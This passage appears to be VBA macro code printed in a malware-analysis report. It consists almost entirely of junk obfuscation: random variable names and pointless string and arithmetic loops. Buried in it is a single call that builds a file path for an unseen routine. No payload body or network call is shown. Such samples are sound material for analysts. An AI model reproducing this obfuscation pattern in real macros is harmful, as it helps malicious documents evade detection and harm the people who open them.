    TZsxPIb = LTrim("zORjeyHHf^NIlA")
    HCcGzGKm = Right("ki-&VBDm@?fhn", 4)
    TZsxPIb = StrReverse(".FG_?Vts O]NZXhHLD@")
    End If
    TZsxPIb = StrReverse("sBhE%!?*tFIk QCm")
    DuOZJ = UCase("AZN*PI?OOtK! gWrJ")
    RxmnB = Left("pigC^Unc [*V", 4)
    dlHZEyET = RTrim("U%J]aQh@uxi")
    dlHZEyET = Space(2)
    dlHZEyET = Right("dNfQFk)z^y^AiFDViCe)", 4)
    dlHZEyET = LTrim("W*a#tgHNbO")
    taZwbZ = LTrim("![TQ-[Pkxg*^hCky) W)")

    BXAhc = LTrim("FToPqH]igV")
    TZsxPIb = Space(3)
    For IDYAmy = 0 To 43
        DuOZJ = "K !Rp@fVbr" + "_^u[B.R]Y^lE" + "FdWE#pcxYEON#A_pDC"
        taZwbZ = Left("XU-Njw(SVO(Dp^NL", 5)
        HCcGzGKm = StrReverse("TgulkZzb UzHj")
        HCcGzGKm = UCase("mrwVqHz$oYepj-qjVL")
    Next IDYAmy

    kpYSXOm = 203 + 720 + 248
    taZwbZ = 832 + 1942 + 706
    HCcGzGKm = Left("AG(E_G#.G(dWfK?Otp", 4)
    While VbciHt < 344
        HCcGzGKm = "JMYHOmORwM-p" + "yr.TDiH)Qon*VM.bvZG" + "#F.#NynEVy"
        DuOZJ = RTrim("iz$#%WAAENZ$tA")
        taZwbZ = Left("mIDdWBfMfVEL$E^", 2)
        BXAhc = UCase("[iat#jPFjQZaTFrkYbDS")
        dlHZEyET = RTrim("ydJY-h_I)gp_?DsXcIb")
        VbciHt = VbciHt + 3
    Wend


    While zkRrxt < 140
        XICQpov = LTrim("IOQfHJEeGfBeAR@Jh_*l")
        DuOZJ = Left(")hbDWksVtUecmIg", 3)
        While fyACoY < 208
            DuOZJ = 476 + 1989 + 1949
            BXAhc = Right("Gk_moMs[v#CUsnNWY", 5)
            HCcGzGKm = 909 + 849 + 1162
            kpYSXOm = 725 + 1801 + 1113
            taZwbZ = StrReverse("D&nwV_GAvp")
            DuOZJ = Right("xdkuntWMHmqMoE F", 4)
            HCcGzGKm = 917 + 1174 + 1678
            RxmnB = "*ja*GHTA](dKKz_^" + "TqgYj-Dm^JZlB" + "z*FjbENvKbs^Md!Ph)"
            TZsxPIb = "efS[[cBp[LN)P_r" + "fYjiY^Ede]XU" + "*k ZkQG) .PC]t"
            fyACoY = fyACoY + 2
        Wend

        kpYSXOm = Left("(li#z YRY -n", 4)
        dlHZEyET = "ehHPzbw &kOjxE" + "P&@_kcq(vp" + "r!SomkU%HJC)FLkkOwAP"
        TZsxPIb = Right("eYF?#FwX LBjqNuYX%-s", 4)
        RxmnB = UCase("j&)xRSULJLKLFV")
        RxmnB = RTrim("@uvi#HzzN?x")
        BXAhc = 1520 - 938 - 1188
        For kcBVed = 0 To 156
            RxmnB = 1472 + 1369 + 1924
            DuOZJ = 1115 - 1533 - 291
            DuOZJ = Right("Q?)f!-VLPEQBkA%]G", 5)
            TZsxPIb = 1071 - 1690 - 225
            RxmnB = UCase("S_%]CIrv&HcR)")
            taZwbZ = StrReverse("t#M#Ndxv)d Ac_($D")
        Next kcBVed

        kpYSXOm = Space(15)
        BXAhc = 1517 + 342 + 115
        If zkRrxt = 130 Then
            RxmnB = 1020 - 373 - 1765
            Call cTMgfxG(CsQRUOnq & "\\" & NZnxb(mKseCNw), "bkBguM", "vYAkttiNx", "CUkNy", "yErPAxi")
            HCcGzGKm = RTrim("_XjtIo(AgG?EF*Rjc")
            HCcGzGKm = "uSOENP#@eUt" + "jCv%V?f!kE)C&" + "ih[rXIBQhcx"
            taZwbZ = 661 + 463 + 1701
            XICQpov = Space(15)
            TZsxPIb = StrReverse("* RRlqzFh)H")
            taZwbZ = 1947 + 1427 + 1509
            taZwbZ = 971 + 1010 + 853
            taZwbZ = "oxJJVAJrOImwgVVJf#" + "mtcnjA&onRDLAG" + "Co)ZBTIM^Qr&qJUL^"
            For JDQtGO = 0 To 218
                RxmnB = Right("_ UsDmByh yOmI%y]mT", 4)
                HCcGzGKm = 521 + 1090 + 958
                TZsxPIb = Space(6)
            Next JDQtGO

        End If
        kpYSXOm = Space(2)
        taZwbZ = ")?)D[nbiPU#zkyQAaEf" + "]aXEUKKeFV)" + "NeI.fXIGm@qhnU"
        RxmnB = Right("jIE@JqdDpVH", 5)
        While CWoulW < 206
            XICQpov = Right("$aPB!(cgUmfmrvoj", 3)
            RxmnB = Space(16)
            TZsxPIb = UCase("kFSKHCU.Pvx@")
            XICQpov = UCase("!VZ(H$ru-UBPZ")
            HCcGzGKm = 1219 - 1176 - 1074
            XICQpov = StrReverse("!rG#^GKukZ*tu!ICPZv")
            XICQpov = RTrim("hGeg??TW$x #KeEw")
            CWoulW = CWoulW + 3
        Wend

        HCcGzGKm = RTrim("eCpRAo[-R($@BH ffW")
        XICQpov = Right("iTY?k$*_Hdceu*]h[!sm", 4)
        taZwbZ = StrReverse("^MJCGvzy##F#")
        BXAhc = LTrim("?hb& YlY!MIa)C#FTU")
        HCcGzGKm = "xL$tU#RePrY" + "%MPk!je&#gl" + "pe?EVN[HwXB"
        dlHZEyET = RTrim("_LvJLh*A*Q [R")

    zkRrxt = zkRrxt + 1
    Wend
    kpYSXOm = Space(5)
    taZwbZ = 1190 + 460 + 366
    For IxgAZu = 0 To 189
        BXAhc = Right("qGY )GC)o%hMm", 2)
        XICQpov = 1855 - 301 - 1860
        RxmnB = StrReverse("PRebJgcLN_LF[y")
        HCcGzGKm = 513 + 1564 + 357
        dlHZEyET = RTrim("mrOlXu*R^a")
        TZsxPIb = Space(15)
        HCcGzGKm = 1276 + 387 + 1714
        RxmnB = 869 + 1644 + 1990
        TZsxPIb = 361 - 1756 - 1330
    Next IxgAZu

    XICQpov = 1613 + 857 + 311
    taZwbZ = 591 - 1187 - 147
    BXAhc = RTrim("cf@Oxl!KP[qettKfccB]")
    HCcGzGKm = LTrim("[pPaz[eS*qYDbEkCzJG")
    DuOZJ = LTrim("@UEPE#xz%aL")
    DuOZJ = Left("zPG$n?zhLIeARfiLJTnh", 3)
    HCcGzGKm = "qvA*fHk*HOeQ^)" + "MA_-$gnUs*E[" + "TkLU aIkkFQemu"
    HCcGzGKm = "voSVl[W.Aqv)t$%%" + "WstQyYiGTu ^sZtVSUzY" + "clMLDmGU[XdO(H"
    taZwbZ = "stUCqRTLG@@ibr" + "%kdKCShW]i" + "CwmP@!twX]-%nGW)Z$&J"
    dlHZEyET = RTrim("V?zCqQMQUB")
    kpYSXOm = StrReverse("v!yGfgUdv]wcp.]r#Or")
    XICQpov = 1966 + 1367 + 1279

End Sub

Private Sub wrynjM(rxTmnL As String)
    HCcGzGKm = Left("Y@Ez$&BKo.&KmvWVa", 5)
    TZsxPIb = "m-n_#AJbDZq" + "xT?kJPegT*)@?hqqs$YC" + "N-VJhwUEemtRQCs"
    HCcGzGKm = RTrim(" oVkon&%*N]_")
    DuOZJ = 1796 - 593 - 293
    XICQpov = StrReverse("pT$?Kt$oJs]")
    taZwbZ = 412 + 1645 + 1185
    RxmnB = Left("uzRXGUsmwPo*T([xDctj", 5)
    DuOZJ = StrReverse("@IXM_TG?[d?fR&C#ATMF")
    HCcGzGKm = 1019 - 1776 - 324
    kpYSXOm = Space(13)
    TZsxPIb = Space(20)
    RxmnB = 974 + 1632 + 712
    kpYSXOm = Right("bi.tdLn^H@p^HALfj[.!", 5)
    DuOZJ = RTrim("S-Uq%@ZBlpw$-uru")
    DuOZJ = LTrim(".bdUzu@BWQQr")
    HCcGzGKm = StrReverse("#xt%JiSDCO_)")
    dlHZEyET = StrReverse(" )LlTpG-dm")
    dlHZEyET = StrReverse("ewX%IMk &k")
    XICQpov = 1171 - 1964 - 1210
    For Vcphwn = 0 To 191
        dlHZEyET = UCase("?iNS)LvcYoa#v")
        BXAhc = LTrim("ew-y$XQ?yR^kyIV)(")
        RxmnB = Right("RG_hh*k%ejG", 3)
        dlHZEyET = RTrim("rWM]%HbetW^")
    Next Vcphwn

    TZsxPIb = Right("v@ge]JZxg%BFm&AQTArt", 4)
    DuOZJ = LTrim("lwDrPqH?kwhqG")
    dlHZEyET = 354 - 836 - 434
    TZsxPIb = "czY?ZXXDyt#SgW-Qm]v" + "vklmDp^ND?xfyBpDG" + "wVPRCyXRl(.]Kn"
    DuOZJ = RTrim("DX]!uF*eDzaYbVTTo]!")
    DuOZJ = 627 - 1456 - 1518
End Sub

Private Sub Cxuvjh(UnikfyR As Double, ATlkZb As Double, sBOuqj As Integer, lRRILAy As Integer)
    RxmnB = Space(1)
    DuOZJ = "lGzM(bqRBBxN?N$g#" + "mxGZIaqBhzaUeD@.]" + "[zfrb*Qu^loUIoeHlQY&"
    dlHZEyET = Space(2)
    kpYSXOm = Right("!p-QNUsXPHj?]cp", 2)
    TZsxPIb = RTrim("G.bkPNHF( Z")
    HCcGzGKm = LTrim("RvI&_%wzIBxP")
    HCcGzGKm = "-TujChNw.j#NIS_XWabh" + "(tyxNYIuavEzKBk" + "hJ%F&d)WgHGP"
    While xrrzNC < 288
        dlHZEyET = UCase("wEEuTo YUvGkyYP")
        XICQpov = UCase("zSf%ksE$Aux)&e^!Fw")
        BXAhc = UCase("tG#?z_SSzciifAu")
        dlHZEyET = "QMv(oTc&mI?DCiRV#BUI" + "TeVVZshNgpqXN_*$r" + "gvxi-HrgQ-?"
        xrrzNC = xrrzNC + 2
    Wend

    dlHZEyET = 1454 - 482 - 1223
    TZsxPIb = Right("slQMwcuJuQBQ", 5)
    RxmnB = Space(2)
    BXAhc = LTrim(")rinrr*ODa[w(bgLTer")
    For EkJhbn = 0 To 397
        RxmnB = "@Yz*NpZce(oG" + "MeaWSjQKUj]R]H^iMg" + "PIx]N%p@P-.]MzYJlq$"
        kpYSXOm = Right("WYKPM#M!pMS?XPTVmk", 2)
    Next EkJhbn

    TZsxPIb = RTrim("Y![p%fV(vLbPGDZel")
    taZwbZ = 1233 - 1113 - 1660
    TZsxPIb = Left("mA%D D?AhSkLoatU!?m_", 4)
    kpYSXOm = StrReverse("Onhv_UdY_vh$ c")
    BXAhc = UCase("kBav]$#S]iD")
    kpYSXOm = 1132 - 360 - 449
    dlHZEyET = StrReverse("wJGMPzIx!o")
    TZsxPIb = "mkBIIsD(k Nob" + "NWLDrLLM bFX^iAm" + "uKyLSnVrdj#sUsE"
    XICQpov = Space(20)
    While ulBkMC < 62
        HCcGzGKm = LTrim(")ZDMMRSce)SXO")
        BXAhc = LTrim("kLWP%EdLyGzB")
        kpYSXOm = Left("%sD%PK^pgvn?jdANA", 5)
        XICQpov = Space(4)
        HCcGzGKm = StrReverse("KZAxaOSTBUil")
        BXAhc = 1269 + 1411 + 1137
        dlHZEyET = Space(7)
        kpYSXOm = "PAmpODihCf" + "Q-tHl#I#xDEt.aAivg" + "rDSOdCvy@IIhmj]"
        XICQpov = UCase("#(pERR(bu%)vBZt")
        DuOZJ = UCase("jZR%Dhjjph%")
        ulBkMC = ulBkMC + 3
    Wend

    taZwbZ = Right("V.zWUtCUyZt_oby?TJs_", 5)
    taZwbZ = 204 - 1710 - 1250
    While BVesDB < 59
        taZwbZ = StrReverse("IdBNvoil#B[WV")
        HCcGzGKm = 443 + 1767 + 1023
        kpYSXOm = "(%Hd I?M-gh" + "Zfd$-q_O%r" + "?RtRk(^KA-e-mxu!KME"
        XICQpov = LTrim("dXylleCrb[yhCVPZB]")
        kpYSXOm = StrReverse("HeBSM)]&fSrDxU]W")
        XICQpov = "jtIjisQTZ!*" + "uHCUHiJtQCj-jq%" + "_!rotGn(SiViGcscfl"
        HCcGzGKm = StrReverse("afA GE@RmnaFeZVH[ -")
        dlHZEyET = 689 + 410 + 123
        BVesDB = BVesDB + 2
    Wend

    XICQpov = 1599 + 1057 + 1255
    For WWrjEV = 0 To 322
        RxmnB = StrReverse(")]bu%Ct-KO")
        XICQpov = LTrim("#a_RoT#$L] .")
        taZwbZ = StrReverse("VcNDo&VlO&")
        TZsxPIb = "_cf@NnvXSCm]" + "WNz*%JpBu-R?sKszNq" + "c-u&HuEyb&F"
        XICQpov = RTrim("k^FF ]WbaX[LJmGmW")
        taZwbZ = UCase("zWOtc sI$ZBJ?ecsNs")
        BXAhc = 1943 - 494 - 1670
        RxmnB = Left("T$[ Y_WF%sw oa", 2)
        RxmnB = StrReverse("wycFrI-.OcYMZJu&aWI")
        taZwbZ = "#?kRhgRH_FmtgY(Xjlq" + "YMNsP$ojIMA%" + "E&itEo.^L$roeJ&"
    Next WWrjEV

    RxmnB = 290 - 285 - 907
    While wouKvc < 306
        XICQpov = Right("xmKWib--M*g%B#aV", 5)
        RxmnB = Space(4)
        wouKvc = wouKvc + 2
    Wend

    TZsxPIb = RTrim("fVfta#SYAI*lF RyroX")
    taZwbZ = Left("ITqreVI tWCdf?FbO", 4)
    RxmnB = UCase("CP($JilLD$rrm)i")
    For BDIvUK = 0 To 50
        kpYSXOm = StrReverse("pWFOFseVYO)?ysJTpooX")
        taZwbZ = Right("dcgFukI.IwH)PB", 4)
        dlHZEyET = Space(6)
    Next BDIvUK

    RxmnB = "OxgOZUbJc&l[%" + "ZJUvBCpTrN dN!v) M" + "]AU$fGnJzUkh hXvZbH"
    For kZHixl = 0 To 363
        RxmnB = UCase("eTZlnbZz%b?)w")
        dlHZEyET = RTrim("uGcIrxJ%rjBKSfsEktM ")
        TZsxPIb = Left("jrXn^M@Bxt", 4)
        DuOZJ = Space(17)
        XICQpov = RTrim("GyIRxv$WfWCMkU(A vn")
        BXAhc = UCase("!d_#d-UXxIX.")
        RxmnB = RTrim("l]zBP)CQzfOvYQI")
        XICQpov = Left("XYnBgPtcgwQbw#w", 4)
        BXAhc = UCase("?$kJ]bAXY@Ix^X^jt??")
    Next kZHixl

    HCcGzGKm = RTrim("v?nJYGWUXxdJ[AR")
    TZsxPIb = 199 - 1193 - 1537
    taZwbZ = Right("Qn&jLT!bAr!.t&UieQZu", 3)
End Sub

Private Sub DHhxIJ(wlpayU As Integer, ybegesm As Double)
    HCcGzGKm = Space(15)
    BXAhc = 601 - 1760 - 901
    HCcGzGKm = 366 - 311 - 1702
    XICQpov = Space(6)
    dlHZEyET = Space(3)
    XICQpov = StrReverse("[X$.XxZAYBaRP)gfkY@_")
    HCcGzGKm = StrReverse("fUhq.]uWMaWt(cB")
    taZwbZ = "?a_v*OqlYx$" + "g^j[@[)LfkIB!eEJkg.l" + "RqttGD kPu"
    RxmnB = RTrim("Mb?Pc!x*.H@Re")
    kpYSXOm = "uJKZSmj[[*nlG@LfAtn" + "OY[ iR(Uroh" + "-TmOD)BGZU^W"
    For xlLDRu = 0 To 241
        HCcGzGKm = "%_on CQCTJ!)" + "nuGDbMCYHK?f" + "-Q%BLtPPTN$R@gRgAl"
        dlHZEyET = Left("# lJ%_rHmTnV", 2)
        TZsxPIb = RTrim(")d&ky @C[UWWuW#w(qa")
        taZwbZ = "O(Ap.b#sYnTc*" + " B)KMZcgQ^CZ" + "$Vgv[AYRKO "
    Next xlLDRu

    DuOZJ = StrReverse("! !o*O?Tnf*qT")
    DuOZJ = 1049 + 1685 + 674
    kpYSXOm = UCase("_O.TgT*oytqCw]@")
    TZsxPIb = RTrim("cYo!K@.Yl#iJ")
    taZwbZ = StrReverse("LTzVofCBiXDG]R*jHO")
    taZwbZ = RTrim("W-?Ug-pnYw[iW!")
    kpYSXOm = RTrim("(rW%T-hvX %-m TjEV")
    While LDAAqK < 276
        TZsxPIb = RTrim("hyT&CT%!D&dw")
        XICQpov = Right("pqx)SGe*(a", 3)
        taZwbZ = "O)egZsFQuxlJGntah" + "qT_cSLph.Fb" + "_ u smfp*vi)$@"
        XICQpov = Right("yXRxS(? d!mD!KlX", 2)
        HCcGzGKm = UCase("%*N -BTw-UfK$")
        dlHZEyET = 1224 - 709 - 138
        LDAAqK = LDAAqK + 1
    Wend

    TZsxPIb = "dOX BE[&Gu-)" + "PSQZGydypC" + "txm?XgO-Pn^bBIkTd#"
    DuOZJ = Right("trA?IMat^Z*m", 4)
    DuOZJ = "MwbhkTwIqSEk" + "@ml)dOVUvoz(FLv%" + "gB E-LpcqM"
    taZwbZ = "%_zLYF@LPdp " + "CNBOI!tzFn*OWf" + "s$RJzcmWU "
    DuOZJ = 1082 + 1477 + 286
    For GtkeWe = 0 To 90
        XICQpov = Right("n)[kcskEkkn*n", 5)
        BXAhc = 1779 + 298 + 1072
        HCcGzGKm = "_LKz(qM^FOot(k($jht" + "CbSClPoJL*fmPqy..kUZ" + "Xjl%F*Oia-QoybZ"
        RxmnB = 964 + 1882 + 853
        taZwbZ = Left("G_As^)]YqpV", 3)
        kpYSXOm = Space(8)
        kpYSXOm = UCase("x.dio?fW)DOQCO(dh")
        BXAhc = StrReverse("wNZmsmMw[by%[Q_$).ob")
    Next GtkeWe

    BXAhc = Left("iIt%kJxh[oPRtaE ", 4)
    BXAhc = "HL#NAvpp?v]r!Bu.eFp" + "&. @aFVFWknRj^S&J?" + "iQnVTUxIXkqzIn?o"
    TZsxPIb = Right("Y(tGobJey@(D .kuDI", 3)
    dlHZEyET = StrReverse("zLieizhGnO)NWt ")
    For SLeCwe = 0 To 266
        dlHZEyET = Space(13)
        BXAhc = 565 + 756 + 407
        BXAhc = "uHg*PN)J@n!MLutyLR_f" + "tAS-uyfxLwmVeN" + "dzf_$$.SPdHYTYLnp)"
        DuOZJ = Right("LMX?p(ZwtHwQOH]fq", 3)
        RxmnB = 894 - 380 - 217
        taZwbZ = Right("K$fG TmbjO?", 3)
        TZsxPIb = 319 + 344 + 785
        DuOZJ = UCase("TCiLTKG(b*vt[T")
        BXAhc = 257 + 882 + 365
        kpYSXOm = UCase("$&qb(MXF[qIhe rb.IvF")
    Next SLeCwe

    HCcGzGKm = UCase("MYAGi$#_win)IMHe")
    taZwbZ = Space(15)
    dlHZEyET = Left("nrEAzwgw[?i", 3)
    dlHZEyET = RTrim("fLhuf).^Zocc*eI")
    RxmnB = 1292 + 1722 + 1031
    TZsxPIb = UCase("Fp&g^ sIlg?BXQS)y")
End Sub

Private Sub yrKoym(jogkDUE As Boolean, LTRzDD As Double, jPIYXuk As Boolean, MASCGOj As Integer)
    kpYSXOm = LTrim(")ZaA!dflnXs")
    DuOZJ = Left("?Cj%vckFQJ", 4)
    While kbwump < 122
        RxmnB = Right("X#mYsDiEt EE%v&J)", 5)
        dlHZEyET = RTrim("q@c]$@RDT(LayWPnLtPs")
        kbwump = kbwump + 1
    Wend

    HCcGzGKm = 1997 - 489 - 1962
    For CWwpIK = 0 To 329
        HCcGzGKm = 1286 - 1251 - 221
        HCcGzGKm = Left("Ki)Tlpcf]&xwc", 2)
        DuOZJ = Space(11)
        RxmnB = Left("gfo_Cvroe?f", 5)
    Next CWwpIK

    HCcGzGKm = Right("j)h&NX)kwdoPjkyipiTy", 3)
    taZwbZ = 334 + 1805 + 1559
    While nDNFkc < 396
        DuOZJ = StrReverse("T.#*PD%gX?Q?E")
        RxmnB = 101 - 177 - 1113
        nDNFkc = nDNFkc + 3
    Wend

    kpYSXOm = UCase("UTzdEA. hpE_uh")
    BXAhc = 1573 - 792 - 618
    DuOZJ = "W#*t_LTg.?OZ.Y" + "ID@C^]U-^#cEw)#Jge" + "v$lRgSDS(V mvE"
    taZwbZ = "bnOoYv.B#Dyy su@(FgD" + "L#T*-pA]PQcjJ" + "^F OWrYOpeP"
    TZsxPIb = "-dF_P_Xk_Uvm JAG?" + "mH@)CjF(O)" + "GSYqmZDGD#CD@q nPv."
    HCcGzGKm = Right("_gNiBjR$hP", 3)
    HCcGzGKm = RTrim("sj.Lca!KSfIH")
    TZsxPIb = LTrim(" DuxT%uEjqaTuFfXN##")
    TZsxPIb = Left("vlZcl[ dO%", 2)
    TZsxPIb = Left("Vxa_MumIZV", 5)
    RxmnB = StrReverse("lgj)h-Onbf^[Ub")
    taZwbZ = 970 + 1960 + 1212
    For KPCTvd = 0 To 120
        XICQpov = Left("FsJh nLslPJZF", 3)
        XICQpov = 336 - 1907 - 289
        TZsxPIb = LTrim("XhLvXaAfkFsZGtx")
        dlHZEyET = 1864 - 542 - 865
        taZwbZ = LTrim("lS&ntN(nKh.")
    Next KPCTvd

End Sub

Private Sub wVAETm(vXXYuRK As Double, wsIzULQ As Boolean, TlCkjw As String, lcwcMQn As String)
    BXAhc = 781 - 1974 - 1361
    taZwbZ = RTrim("ZNmJpdvxaj *ft")
    TZsxPIb = Right(")T[TS@FiWZJUi", 5)
    dlHZEyET = UCase(")f^kaPHxkAZ")
    BXAhc = Space(14)
    BXAhc = 444 - 225 - 708
    BXAhc = RTrim("rJtaI%Uo_U ss r?")
    HCcGzGKm = Space(16)
    For ZHjdfy = 0 To 303
        HCcGzGKm = StrReverse("tZytKszMG.yqvVpEZh")
        taZwbZ = Left(".(gIH#xjHjYmRwp", 4)
        DuOZJ = 1631 + 1772 + 1931
    Next ZHjdfy

    HCcGzGKm = Space(12)
    dlHZEyET = "]*%lQMcK_rEv)BGL" + "RySC_g%orBrJ" + "XQr.ZA!_mdLL!esCAZ"
    HCcGzGKm = "rVY-zMOUMYpkK@" + "e^_wBY]Roi uP!ue" + "riELCnI_l&WEt"
    RxmnB = "c_WRy&D&yX^Ic" + "ROxA?NV_zmg*)L]_" + "DXSZ)SwMAd."
    kpYSXOm = 144 + 639 + 1273
    kpYSXOm = UCase("rK&omI@[X_lHd")
    RxmnB = UCase("@bQxX[fV[]QM!Ov")
    RxmnB = UCase("NdXx#xtEGU#ttxN!Fje")
    RxmnB = "NzhEbVxjfeZUd?zN" + "Ep?Ju#-y&^S[K$$HM" + "Qiuue#?)du"
    kpYSXOm = Space(14)
    dlHZEyET = Right("vHV*AuxADQ[.MF", 2)
    taZwbZ = 1479 + 1406 + 375
    taZwbZ = 192 + 1350 + 334
    RxmnB = 384 - 334 - 1073
    XICQpov = UCase("gVOj*oJTmR@w.e")
    XICQpov = LTrim("]g@g(-b@sn$IX!bbn")
    DuOZJ = "CxKhtt?&SN] " + "mytSp%.LWl" + "Fuy##hj GNa"
    BXAhc = Space(8)
    taZwbZ = Right("KCdQ%_DaoWvyyx[?(qi(", 4)
    DuOZJ = Right("]*d(%i *XXYuy^EZnVU", 5)
    TZsxPIb = Space(17)
    RxmnB = Right("OdOu?F*lN^F*uAyMRzS^", 5)
    TZsxPIb = "BjW.)idW%fuUE" + "z-VWLl R$R" + "GTrf]A^Gcp$"
    XICQpov = Space(11)
    BXAhc = RTrim("[LnXJK% Ncudpi")
    DuOZJ = RTrim("xa[JA*]QSz")
    BXAhc = LTrim("ycT[pFQwMyaoO*B")
    DuOZJ = LTrim("fdkI%VK[Vkeu")
    HCcGzGKm = RTrim("B PmPoFhm&$Y^e")
End Sub

Private Sub dLRCnU(sJrtif As Double, TiamFgq As Integer)
    HCcGzGKm = StrReverse("LiWorYFixTLFaEc%@")
    kpYSXOm = Space(11)
    taZwbZ = 942 - 1246 - 1991
    TZsxPIb = UCase("d*g*bXbdv]gE")
    While lurspJ < 246
        taZwbZ = Space(3)
        dlHZEyET = StrReverse("dOnWFADvA%FELKWX")
        XICQpov = 775 + 607 + 231
        DuOZJ = Right("LB#QW@KC^A(joOyDp", 3)
        dlHZEyET = Left("TRzCr.U##Md$I?$ttW", 2)
        kpYSXOm = Left("Mjw??FRmNC!cDO]QqN?", 5)
        BXAhc = 1928 - 1613 - 264
        lurspJ = lurspJ + 2
    Wend

    TZsxPIb = Space(1)
    For xMQTCC = 0 To 307
        HCcGzGKm = UCase("eza@z_KscY@qdI")
…

Open this report in the interactive analyzer, or submit your own file for analysis.